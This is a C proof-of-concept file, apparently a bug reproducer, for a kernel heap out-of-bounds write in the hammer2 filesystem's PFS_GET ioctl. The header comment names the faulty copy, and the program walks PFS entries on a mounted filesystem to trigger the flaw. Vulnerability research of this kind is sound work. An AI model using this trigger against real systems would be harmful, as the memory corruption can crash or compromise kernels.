DF-2647 / pfsget_scan.c
/* * DF-2647 trigger. Scans the super-root of a mounted hammer2 filesystem * with HAMMER2IOC_PFS_GET (name_key walk, exactly what `hammer2 pfs-ls` * does). When the scan reaches a PFS inode whose on-media meta.name_len * is >= 256 (uint16 field), the kernel executes: * bcopy(ripdata->filename, pfs->name, name_len); * pfs->name[name_len] = 0; * in a 320-byte M_IOCTLOPS kmalloc buffer -> OOB heap write of * (name_len - 256) bytes past the end of pfs->name[]. * * usage: pfsget_scan <mountpoint-dir> [iters] [delay_us] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> /* mirror of struct hammer2_ioc_pfs (sys/vfs/hammer2/hammer2_ioctl.h) */ struct df2647_pfs { uint64_t name_key; uint64_t name_next; uint8_t pfs_type; uint8_t pfs_subtype; uint8_t reserved0012; uint8_t reserved0013; uint32_t pfs_flags; uint64_t reserved0018; unsigned char pfs_fsid[16]; unsigned char pfs_clid[16]; char name[256]; }; #define DF2647_PFS_GET _IOWR('h', 80, struct df2647_pfs) int main(int argc, char **argv) { struct df2647_pfs pfs; int fd, iters, delay_us, i, n; uint64_t key; if (argc < 2) { fprintf(stderr, "usage: %s <mnt> [iters] [delay_us]\n", argv[0]); exit(2); } iters = (argc > 2) ? atoi(argv[2]) : 1; delay_us = (argc > 3) ? atoi(argv[3]) : 0; fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); exit(1); } printf("pfsget_scan: fd=%d iters=%d\n", fd, iters); fflush(stdout); for (i = 0; i < iters; ++i) { key = 0; n = 0; for (;;) { memset(&pfs, 0, sizeof(pfs)); pfs.name_key = key; if (ioctl(fd, DF2647_PFS_GET, &pfs) != 0) { printf(" ioctl -> errno=%d (%s)\n", errno, strerror(errno)); fflush(stdout); break; } printf(" [%d] key=%016llx next=%016llx name=\"%s\"\n", i, (unsigned long long)pfs.name_key, (unsigned long long)pfs.name_next, pfs.name); fflush(stdout); ++n; if (pfs.name_next == (uint64_t)-1 || n > 32) break; key = pfs.name_next; } if (delay_us) usleep(delay_us); } printf("pfsget_scan: done\n"); return 0; } |